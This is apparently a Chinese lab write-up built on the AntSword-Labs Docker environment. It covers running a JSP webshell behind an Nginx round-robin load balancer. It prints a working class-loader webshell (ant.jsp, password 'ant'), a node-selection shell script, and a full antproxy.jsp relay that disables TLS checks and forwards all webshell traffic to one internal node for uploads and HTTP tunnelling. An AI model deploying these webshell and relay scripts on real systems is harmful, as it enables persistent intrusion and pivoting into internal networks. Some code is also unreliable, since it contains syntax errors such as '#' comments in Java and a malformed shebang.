目录
本实验所用的环境:
问题一:由于nginx采用的反向代理是轮询的方式,所以上传文件必须在两台后端服务器的相同位置上传相同的文件
问题二:我们在执行命令时,无法知道下次的请求交给哪台机器去执行我们在执行hostname -i查看当前执行机器的IP时,可以看到IP地址一直在漂移
问题三:当我们需要上传一些较大的工具时,会造成工具无法使用的情况
问题四:由于目标主机不能出外网,想要进一步深入,只能使用reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。
一些解决方案:
方案一:关掉其中的一台后端服务器
方案二:在程序执行前先判断要不要执行
方案三:在Web层做一次HTTP流量的转发(重点)
本实验所用的环境:
链接:https://pan.baidu.com/s/17WBxMs3_uIx9pFapwtgK5A?pwd=8848
提取码:8848
Nginx反向代理实现负载均衡的操作具体可以看:Nginx反向代理实现负载均衡+Keepalive实现高可用-CSDN博客
下面就介绍本次实验
首先还是进入到漏洞所在的环境目录中
/root/AntSword-Labs-master/loadbalance/loadbalance-jsp
拉取环境:
docker-compose up -d
可以看到运行了容器
然后可以尝试访问一下这个页面
根据上图可以看出,虽然显示的是http404,但是表示后端的tomcat是可以访问的
然后我们可以查看一下后端的反向代理服务器:
可以进入到两台中的任意一台中去
docker exec -it dbeefec34893 /bin/bash
root@dbeefec34893:/usr/local/tomcat#
查看 webapps/ROOT/ant.jsp
cat ant.jsp
<%!class U extends ClassLoader{ U(ClassLoader c){ super(c); }public Class g(byte []b){ return super.defineClass(b,0,b.length); }}%><% String cls=request.getParameter("ant");if(cls!=null){ new U(this.getClass().getClassLoader()).g(new sun.misc.BASE64Decoder().decodeBuffer(cls)).newInstance().equals(pageContext); }%>
可以看到这里是已经上传的一句话木马,密码是'ant'。
但是需要注意的是8080端口并没有开发,所以我们只能通过nginx来访问
我们可以查看一下nginx文件:
cat nginx/default.conf
upstream lbspool {
server lbsnode1:8080;
server lbsnode2:8080;
}
server {
listen 80 default_server;
server_name _;
charset utf-8;
root /usr/share/nginx/html;
index index.jsp index.html index.htm;
location / {
proxy_pass http://lbspool;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
}
可以看到这里配置了负载均衡。
那么我们就可以尝试使用蚁剑来连接。
连接成功后,我们就可以查看所有文件
现在我们已经成功的连接到webshell
但是这里还是有一些问题:
问题一:由于nginx采用的反向代理是轮询的方式,所以上传文件必须在两台后端服务器的相同位置上传相同的文件
因为我们是反向代理的负载均衡,就存在上传文件出现一台后端服务器上有我们上传的文件,另一台服务器上没有我们上传的文件,出现的结果就是,一旦一台服务器上没有,那么在请求轮到这台服务器的时候,就会报出404的错误,从而影响使用,这也就是一会出现正常,一会出现错误的原因。
就说说两台负载均衡设备都需要有ant.jsp文件,如果仅有一台设备有,一台设备没有,则会出现一次成功,一次失败的效果。
解决方案:
我们需要在每一台节点的相同位置都上传相同内容的WebShell,从而实现无论是轮询到哪台服务器上都可以访问到我们的后端服务器上。
注:实现每一台后端服务器上都有上传的文件,就需要疯狂上传。
问题二:我们在执行命令时,无法知道下次的请求交给哪台机器去执行我们在执行hostname -i查看当前执行机器的IP时,可以看到IP地址一直在漂移
这里因为是使用的轮询的方式,如果使用了权重的方式,就更加的飘忽不定
可以做一下的测试,来验证我们的命令是飘忽不定的:
我们可以进入某一个一个容器中:
查看ip add 会发现没有该功能
(1)我们可以更新一下这个apt
apt-get update
(2)安装net-tools
apt-get install net-tools
然后我们可以在蚁剑的终端中尝试使用ipconfig
就会出现这样一种情况,就是因为我们只给一台服务器上安装了,另外一台没有。
问题三:当我们需要上传一些较大的工具时,会造成工具无法使用的情况
当我们上传一个较大的文件时,由于AntSword上传文件时,采用的是分片上传方式,把一个文件分成了多次HTTP请求发送给目标,造成文件的一部分内容在A这台服务器上,另一部分文件在B这台服务器上,从而使得较大的工具或者文件无法打开或者使用
这里我们用一个比较大的图片作为大文件来验证一下:
比如说下面这个图片,这是2.14MB大小的图片,用来做测试
可以看到这里一个2MB的图片就直接上传失败了
但是如果我们上传的图片是刚好能上传的,蚁剑的分片传输可能会将上传的一个图片分片分片到两个服务器中,比如说,我们上传这样一个图片:
我们现在尝试删除这个图片
删除完成后,我们试着刷新一下文件
看样子确实没有了,那么再刷新一下:
会看到,这个已经被删除的图片又在另一个服务器中出现了
可以多删几次,才能真正删除这个图片。
问题四:由于目标主机不能出外网,想要进一步深入,只能使用reGeorg/HTTPAbs 等 HTTP Tunnel,可在这个场景下,这些 tunnel 脚本全部都失灵了。
这里总结一下:第一个和第三个问题都可以用多次点击来实现,第三种我们可以不使用大文件就只使用小文件工具就可以避免,但是不能进入内网的问题却是致命的,无法解决则相当于攻击失败
一些解决方案:
方案一:关掉其中的一台后端服务器
因为健康检查机制的存在,很快其他的节点很快就会被从nginx池子中踢出去了!
关闭后端其中的一台服务器确实能够解决上述的四种问题,但是这个方案实在是“老寿星上吊---活腻了”,影响业务,还会造成灾难,直接Pass不考虑
综合评价:真实环境下千万不要尝试!!!
方案二:在程序执行前先判断要不要执行
既然无法预测下一次是哪台机器去执行,那我们的shell在执行Payload之前,先判断一下要不要执行不就可以了。
首次按创建一个脚本demo.sh,该脚本是获取我们的后端其中一台服务器的地址,匹配到这台服务器的地址才进行程序的执行,匹配到另一台服务器则不进行程序的执行。
因为没有vim,这里再安装一下vim
apt install vim
编写脚本
vim demo.sh
脚本内容:
#!bin/bash
MYIP=`ifconfig | grep 'inet 172' | awk '{print $2}'`
echo $MYIP
if [$MYIP =="172.22.0.2" ];then
echo "Node1,i will exec command.\n============\n"
ifconfig
else
echo "Other. Try again."
fi
授权
chmod +x demo.sh
上传该脚本到两台服务器:
[root@centos111 loadbalance-jsp]# docker cp demo.sh dbeefec34893:/tmp
Successfully copied 2.05kB to dbeefec34893:/tmp
[root@centos111 loadbalance-jsp]# docker cp demo.sh b13fa1312a15:/tmp
Successfully copied 2.05kB to b13fa1312a15:/tmp
执行
为了方便测试,我们给另外一台容器也安装ipconfig工具:
可以看到我们这样就可以在172.22.0.2时才会执行,其他都会报出Other Try again,
这样就手动的让我们只使用其中一台服务器来执行命令。
注:通过中国蚁剑将demo.sh脚本文件上传到后端的两台服务器上,因为是负载均衡,所以需要疯狂点击上传,也可以在蚁剑上新建文件然后编写脚本,多次点击保存,目的是可以让两个服务器都能成功保存到脚本
这样一来,确实能够保证执行的命令是在我们想要的机器上了,可是这样执行命令,没有一丝美感,另外,大文件上传、HTTP隧道这些问题也没有解决。
综合评价:该方案勉强能用,仅适合在执行命令的时候用,不够优雅。
方案三:在Web层做一次HTTP流量的转发(重点)
没错,我们用 AntSword 没法直接访问 LBSNode1 内网IP(172.23.0.2)的 8080 端口,但是有人能访问呀,除了 nginx 能访问之外,LBSNode2 这台机器也是可以访问 Node1 这台机器的 8080 端口的。
还记不记得 「PHP Bypass Disable Function」 这个插件,我们在这个插件加载 so 之后,本地启动了一个 httpserver,然后我们用到了 HTTP 层面的流量转发脚本 「antproxy.php」, 我们放在这个场景下看:
我们一步一步来看这个图,我们的目的是:所有的数据包都能发给「LBSNode 1」这台机器
首先是 第 1 步,我们请求 /antproxy.jsp,这个请求发给 nginx
nginx 接到数据包之后,会有两种情况:
我们先看黑色线,第 2 步把请求传递给了目标机器,请求了 Node1 机器上的 /antproxy.jsp,接着 第 3 步,/antproxy.jsp 把请求重组之后,传给了 Node1 机器上的 /ant.jsp,成功执行。
再来看红色线,第 2 步把请求传给了 Node2 机器, 接着第 3 步,Node2 机器上面的 /antproxy.jsp 把请求重组之后,传给了 Node1 的 /ant.jsp,成功执行。
1、创建 antproxy.jsp 脚本
修改转发地址,转向目标node
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="javax.net.ssl.*" %>
<%@ page import="java.io.ByteArrayOutputStream" %>
<%@ page import="java.io.DataInputStream" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.OutputStream" %>
<%@ page import="java.net.HttpURLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="java.security.KeyManagementException" %>
<%@ page import="java.security.NoSuchAlgorithmException" %>
<%@ page import="java.security.cert.CertificateException" %>
<%@ page import="java.security.cert.X509Certificate" %>
<%!
public static void ignoreSsl() throws Exception {
HostnameVerifier hv = new HostnameVerifier() {
public boolean verify(String urlHostName, SSLSession session) {
return true;
}
};
trustAllHttpsCertificates();
HttpsURLConnection.setDefaultHostnameVerifier(hv);
}
private static void trustAllHttpsCertificates() throws Exception {
TrustManager[] trustAllCerts = new TrustManager[] { new X509TrustManager() {
public X509Certificate[] getAcceptedIssuers() {
return null;
}
@Override
public void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
@Override
public void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {
// Not implemented
}
} };
try {
SSLContext sc = SSLContext.getInstance("TLS");
sc.init(null, trustAllCerts, new java.security.SecureRandom());
HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());
} catch (KeyManagementException e) {
e.printStackTrace();
} catch (NoSuchAlgorithmException e) {
e.printStackTrace();
}
}
%>
<%
String target = "http://172.22.0.2:8080/ant.jsp";
URL url = new URL(target);
if ("https".equalsIgnoreCase(url.getProtocol())) {
ignoreSsl();
}
HttpURLConnection conn = (HttpURLConnection)url.openConnection();
StringBuilder sb = new StringBuilder(); #实例化对象
conn.setRequestMethod(request.getMethod());
conn.setConnectTimeout(30000);
conn.setDoOutput(true);
conn.setDoInput(true);
conn.setInstanceFollowRedirects(false);
conn.connect();
ByteArrayOutputStream baos=new ByteArrayOutputStream();
OutputStream out2 = conn.getOutputStream();
DataInputStream in=new DataInputStream(request.getInputStream());
byte[] buf = new byte[1024]; #缓冲区
int len = 0;
while ((len = in.read(buf)) != -1) {
baos.write(buf, 0, len);
}
baos.flush();
baos.writeTo(out2);
baos.close();
InputStream inputStream = conn.getInputStream();
OutputStream out3=response.getOutputStream();
int len2 = 0;
while ((len2 = inputStream.read(buf)) != -1) {
out3.write(buf, 0, len2);
}
out3.flush();
out3.close();
%>
为了防止文件分片,我们在蚁剑中新建一个文件:
这里只是在一台服务器上新建了,另外一台服务器没有,需要多新建几次,保证两台服务器上都有该文件
然后将脚本内容写入,多保存几次
注:必须确保刷新后,两台服务器上的文件大小是一样的
3、 修改 Shell 配置, 将 URL 部分填写为 antproxy.jsp 的地址,其它配置不变
4、 测试执行命令, 查看 IP
可以看到 IP 已经固定, 意味着请求已经固定到了 LBSNode1 这台机器上了。此时使用分片上传、HTTP 代理,都已经跟单机的情况没什么区别了
该方案的优点:
1、低权限就可以完成,如果权限高的话,还可以通过端口层面直接转发,不过这跟 Plan A 的关服务就没啥区别了
2、流量上,只影响访问 WebShell 的请求,其它的正常业务请求不会影响。
3、适配更多工具
缺点:
该方案需要「目标 Node」和「其它 Node」 之间内网互通,如果不互通就凉了。
到这里Nginx的负载均衡的websehll问题就解决了,并且Nginx相关的漏洞也暂时结束了!